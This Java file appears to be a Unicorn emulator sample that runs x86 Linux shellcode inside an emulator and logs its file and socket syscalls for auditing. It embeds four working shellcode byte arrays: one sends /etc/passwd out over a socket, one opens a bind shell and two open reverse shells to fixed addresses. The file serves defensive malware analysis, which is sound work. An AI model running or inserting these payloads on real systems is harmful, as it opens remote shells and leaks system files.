430 lines
17 KiB
Java
430 lines
17 KiB
Java
/*
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Java bindings for the Unicorn Emulator Engine
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Copyright(c) 2015 Chris Eagle
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This program is free software; you can redistribute it and/or
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modify it under the terms of the GNU General Public License
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version 2 as published by the Free Software Foundation.
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This program is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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GNU General Public License for more details.
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You should have received a copy of the GNU General Public License
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along with this program; if not, write to the Free Software
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Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
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*/
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/*
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Unicorn sample for auditing network connection and file handling in shellcode.
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Nguyen Tan Cong <shenlongbk@gmail.com>
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*/
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import unicorn.*;
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import java.util.*;
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public class SampleNetworkAuditing {
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public static int next_id = 3;
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public static final int SIZE_REG = 4;
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private static LogChain fd_chains = new LogChain();
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public static int get_id() {
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return next_id++;
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}
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public static final long toInt(byte val[]) {
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long res = 0;
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for (int i = 0; i < val.length; i++) {
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long v = val[i] & 0xff;
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res = res + (v << (i * 8));
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}
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return res;
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}
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public static final byte[] toBytes(long val) {
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byte[] res = new byte[8];
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for (int i = 0; i < 8; i++) {
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res[i] = (byte)(val & 0xff);
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val >>>= 8;
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}
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return res;
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}
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private static class MyInterruptHook implements InterruptHook {
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// callback for tracing Linux interrupt
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public void hook(Unicorn uc, int intno, Object user) {
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// System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode()));
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// only handle Linux syscall
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if (intno != 0x80) {
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return;
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}
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long eax = toInt(uc.reg_read(Unicorn.UC_X86_REG_EAX, 4));
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long ebx = toInt(uc.reg_read(Unicorn.UC_X86_REG_EBX, 4));
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long ecx = toInt(uc.reg_read(Unicorn.UC_X86_REG_ECX, 4));
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long edx = toInt(uc.reg_read(Unicorn.UC_X86_REG_EDX, 4));
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long eip = toInt(uc.reg_read(Unicorn.UC_X86_REG_EIP, 4));
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// System.out.printf(">>> INTERRUPT %d\n", toInt(eax));
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if (eax == 1) { // sys_exit
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System.out.printf(">>> SYS_EXIT\n");
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uc.emu_stop();
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}
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else if (eax == 3) { // sys_read
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long fd = ebx;
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long buf = ecx;
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long count = edx;
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String uuid = UUID.randomUUID().toString().substring(0, 32);
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byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, (int)Math.min(count, uuid.length()));
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uc.mem_write(buf, dummy_content);
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String msg = String.format("read %d bytes from fd(%d) with dummy_content(%s)", count, fd, uuid.substring(0, dummy_content.length));
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fd_chains.add_log(fd, msg);
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System.out.printf(">>> %s\n", msg);
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}
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else if (eax == 4) { // sys_write
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long fd = ebx;
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long buf = ecx;
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long count = edx;
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byte[] content = uc.mem_read(buf, count);
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String msg = String.format("write data=%s count=%d to fd(%d)", new String(content), count, fd);
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System.out.printf(">>> %s\n", msg);
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fd_chains.add_log(fd, msg);
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}
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else if (eax == 5) { // sys_open
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long filename_addr = ebx;
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long flags = ecx;
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long mode = edx;
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String filename = read_string(uc, filename_addr);
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int dummy_fd = get_id();
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uc.reg_write(Unicorn.UC_X86_REG_EAX, toBytes(dummy_fd));
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String msg = String.format("open file (filename=%s flags=%d mode=%d) with fd(%d)", filename, flags, mode, dummy_fd);
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fd_chains.create_chain(dummy_fd);
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fd_chains.add_log(dummy_fd, msg);
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System.out.printf(">>> %s\n", msg);
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}
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else if (eax == 11) { // sys_execv
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// System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx));
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String filename = read_string(uc, ebx);
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System.out.printf(">>> SYS_EXECV filename=%s\n", filename);
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}
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else if (eax == 63) { // sys_dup2
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fd_chains.link_fd(ecx, ebx);
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System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx);
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}
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else if (eax == 102) { // sys_socketcall
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// ref: http://www.skyfree.org/linux/kernel_network/socket.html
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long call = toInt(uc.reg_read(Unicorn.UC_X86_REG_EBX, 4));
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long args = toInt(uc.reg_read(Unicorn.UC_X86_REG_ECX, 4));
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// int sys_socketcall(int call, unsigned long *args)
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if (call == 1) { // sys_socket
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// err = sys_socket(a0,a1,a[2])
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// int sys_socket(int family, int type, int protocol)
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long family = toInt(uc.mem_read(args, SIZE_REG));
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long sock_type = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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long protocol = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
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int dummy_fd = get_id();
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uc.reg_write(Unicorn.UC_X86_REG_EAX, toBytes(dummy_fd));
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if (family == 2) { // AF_INET
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String msg = String.format("create socket (%s, %s) with fd(%d)", ADDR_FAMILY.get(family), SOCKET_TYPES.get(sock_type), dummy_fd);
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fd_chains.create_chain(dummy_fd);
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fd_chains.add_log(dummy_fd, msg);
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print_sockcall(msg);
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}
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else if (family == 3) { // AF_INET6
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}
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}
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else if (call == 2) { // sys_bind
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long umyaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
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byte[] sock_addr = uc.mem_read(umyaddr, addrlen);
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String msg = String.format("fd(%d) bind to %s", fd, parse_sock_address(sock_addr));
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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}
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else if (call == 3) { // sys_connect
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// err = sys_connect(a0, (struct sockaddr *)a1, a[2])
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// int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long uservaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
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byte[] sock_addr = uc.mem_read(uservaddr, addrlen);
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String msg = String.format("fd(%d) connect to %s", fd, parse_sock_address(sock_addr));
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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}
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else if (call == 4) { // sys_listen
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long backlog = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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String msg = String.format("fd(%d) listened with backlog=%d", fd, backlog);
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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}
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else if (call == 5) { // sys_accept
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long upeer_sockaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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long upeer_addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
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// System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen))
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if (upeer_sockaddr == 0x0) {
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print_sockcall(String.format("fd(%d) accept client", fd));
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}
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else {
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long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4));
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byte[] sock_addr = uc.mem_read(upeer_sockaddr, upeer_len);
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String msg = String.format("fd(%d) accept client with upeer=%s", fd, parse_sock_address(sock_addr));
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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}
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}
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else if (call == 9) { // sys_send
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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long length = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
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long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
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byte[] buf = uc.mem_read(buff, length);
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String msg = String.format("fd(%d) send data=%s", fd, new String(buf));
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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}
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else if (call == 11) { // sys_receive
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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long size = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
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long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
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String msg = String.format("fd(%d) is gonna receive data with size=%d flags=%d", fd, size, flags);
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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}
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else if (call == 13) { // sys_shutdown
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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String msg = String.format("fd(%d) is shutted down because of %d", fd, how);
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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}
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}
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}
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}
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public static final Hashtable<Long, String> SOCKET_TYPES;
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public static final Hashtable<Long, String> ADDR_FAMILY;
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static {
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SOCKET_TYPES = new Hashtable<Long, String>();
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ADDR_FAMILY = new Hashtable<Long, String>();
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SOCKET_TYPES.put(1L, "SOCK_STREAM");
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SOCKET_TYPES.put(2L, "SOCK_DGRAM");
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SOCKET_TYPES.put(3L, "SOCK_RAW");
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SOCKET_TYPES.put(4L, "SOCK_RDM");
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SOCKET_TYPES.put(5L, "SOCK_SEQPACKET");
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SOCKET_TYPES.put(10L, "SOCK_PACKET");
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ADDR_FAMILY.put(0L, "AF_UNSPEC");
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ADDR_FAMILY.put(1L, "AF_UNIX");
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ADDR_FAMILY.put(2L, "AF_INET");
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ADDR_FAMILY.put(3L, "AF_AX25");
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ADDR_FAMILY.put(4L, "AF_IPX");
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ADDR_FAMILY.put(5L, "AF_APPLETALK");
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ADDR_FAMILY.put(6L, "AF_NETROM");
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ADDR_FAMILY.put(7L, "AF_BRIDGE");
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ADDR_FAMILY.put(8L, "AF_AAL5");
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ADDR_FAMILY.put(9L, "AF_X25");
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ADDR_FAMILY.put(10L, "AF_INET6");
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ADDR_FAMILY.put(12L, "AF_MAX");
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}
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// http://shell-storm.org/shellcode/files/shellcode-861.php
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public static final byte[] X86_SEND_ETCPASSWD = {106,102,88,49,-37,67,49,-46,82,106,1,106,2,-119,-31,-51,-128,-119,-58,106,102,88,67,104,127,1,1,1,102,104,48,57,102,83,-119,-31,106,16,81,86,-119,-31,67,-51,-128,-119,-58,106,1,89,-80,63,-51,-128,-21,39,106,5,88,91,49,-55,-51,-128,-119,-61,-80,3,-119,-25,-119,-7,49,-46,-74,-1,-78,-1,-51,-128,-119,-62,106,4,88,-77,1,-51,-128,106,1,88,67,-51,-128,-24,-44,-1,-1,-1,47,101,116,99,47,112,97,115,115,119,100};
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// http://shell-storm.org/shellcode/files/shellcode-882.php
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public static final byte[] X86_BIND_TCP = {106,102,88,106,1,91,49,-10,86,83,106,2,-119,-31,-51,-128,95,-105,-109,-80,102,86,102,104,5,57,102,83,-119,-31,106,16,81,87,-119,-31,-51,-128,-80,102,-77,4,86,87,-119,-31,-51,-128,-80,102,67,86,86,87,-119,-31,-51,-128,89,89,-79,2,-109,-80,63,-51,-128,73,121,-7,-80,11,104,47,47,115,104,104,47,98,105,110,-119,-29,65,-119,-54,-51,-128};
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// http://shell-storm.org/shellcode/files/shellcode-883.php
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public static final byte[] X86_REVERSE_TCP = {106,102,88,106,1,91,49,-46,82,83,106,2,-119,-31,-51,-128,-110,-80,102,104,127,1,1,1,102,104,5,57,67,102,83,-119,-31,106,16,81,82,-119,-31,67,-51,-128,106,2,89,-121,-38,-80,63,-51,-128,73,121,-7,-80,11,65,-119,-54,82,104,47,47,115,104,104,47,98,105,110,-119,-29,-51,-128};
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// http://shell-storm.org/shellcode/files/shellcode-849.php
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public static final byte[] X86_REVERSE_TCP_2 = {49,-64,49,-37,49,-55,49,-46,-80,102,-77,1,81,106,6,106,1,106,2,-119,-31,-51,-128,-119,-58,-80,102,49,-37,-77,2,104,-64,-88,1,10,102,104,122,105,102,83,-2,-61,-119,-31,106,16,81,86,-119,-31,-51,-128,49,-55,-79,3,-2,-55,-80,63,-51,-128,117,-8,49,-64,82,104,110,47,115,104,104,47,47,98,105,-119,-29,82,83,-119,-31,82,-119,-30,-80,11,-51,-128};
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// memory address where emulation starts
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public static final int ADDRESS = 0x1000000;
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public static String join(ArrayList<String> l, String sep) {
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boolean first = true;
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StringBuilder res = new StringBuilder();
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for (String s : l) {
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if (!first) {
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res.append(sep);
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}
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res.append(s);
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first = false;
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}
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return res.toString();
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}
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private static class LogChain {
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public Hashtable<Long, ArrayList<String>> __chains = new Hashtable<Long, ArrayList<String>>();
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public Hashtable<Long, ArrayList<Long>> __linking_fds = new Hashtable<Long, ArrayList<Long>>();
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public void clean() {
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__chains.clear();
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__linking_fds.clear();
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}
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public void create_chain(long id) {
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if (!__chains.containsKey(id)) {
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__chains.put(id, new ArrayList<String>());
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}
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else {
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System.out.printf("LogChain: id %d existed\n", id);
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}
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}
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public void add_log(long id, String msg) {
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long fd = get_original_fd(id);
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if (fd != -1) {
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__chains.get(fd).add(msg);
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}
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else {
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System.out.printf("LogChain: id %d doesn't exist\n", id);
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}
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}
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public void link_fd(long from_fd, long to_fd) {
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if (!__linking_fds.containsKey(to_fd)) {
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__linking_fds.put(to_fd, new ArrayList<Long>());
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}
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__linking_fds.get(to_fd).add(from_fd);
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}
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public long get_original_fd(long fd) {
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if (__chains.containsKey(fd)) {
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return fd;
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}
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for (Long orig_fd : __linking_fds.keySet()) {
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if (__linking_fds.get(orig_fd).contains(fd))
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return orig_fd;
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}
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return -1;
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}
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public void print_report() {
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System.out.printf("\n----------------");
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System.out.printf("\n| START REPORT |");
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System.out.printf("\n----------------\n\n");
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for (Long fd : __chains.keySet()) {
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System.out.printf("---- START FD(%d) ----\n", fd);
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System.out.println(join(__chains.get(fd), "\n"));
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System.out.printf("---- END FD(%d) ----\n", fd);
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}
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System.out.printf("\n--------------");
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System.out.printf("\n| END REPORT |");
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System.out.printf("\n--------------\n\n");
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}
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}
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// end supported classes
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// utilities
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static String read_string(Unicorn uc, long addr) {
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StringBuilder ret = new StringBuilder();
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char c;
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do {
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c = (char)(uc.mem_read(addr++, 1)[0] & 0xff);
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if (c != 0) {
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ret.append(c);
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}
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} while (c != 0);
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return ret.toString();
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}
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static String parse_sock_address(byte[] sock_addr) {
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int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff;
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if (sin_family == 2) { // AF_INET
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int sin_port = ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff;
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return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, sin_port);
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}
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else if (sin_family == 6) // AF_INET6
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return "";
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return null;
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}
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static void print_sockcall(String msg) {
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System.out.printf(">>> SOCKCALL %s\n", msg);
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}
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// end utilities
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static void test_i386(byte[] code) {
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fd_chains.clean();
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System.out.printf("Emulate i386 code\n");
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try {
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// Initialize emulator in X86-32bit mode
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Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
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// map 2MB memory for this emulation
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mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
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// write machine code to be emulated to memory
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mu.mem_write(ADDRESS, code);
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// initialize stack
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mu.reg_write(Unicorn.UC_X86_REG_ESP, toBytes(ADDRESS + 0x200000));
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// handle interrupt ourself
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mu.hook_add(new MyInterruptHook(), null);
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// emulate machine code in infinite time
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mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0);
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// now print out some registers
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System.out.printf(">>> Emulation done\n");
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|
} catch (UnicornException uex) {
|
|
System.out.printf("ERROR: %s\n", uex.getMessage());
|
|
}
|
|
|
|
fd_chains.print_report();
|
|
}
|
|
|
|
public static void main(String args[]) {
|
|
test_i386(X86_SEND_ETCPASSWD);
|
|
test_i386(X86_BIND_TCP);
|
|
test_i386(X86_REVERSE_TCP);
|
|
test_i386(X86_REVERSE_TCP_2);
|
|
}
|
|
|
|
}
|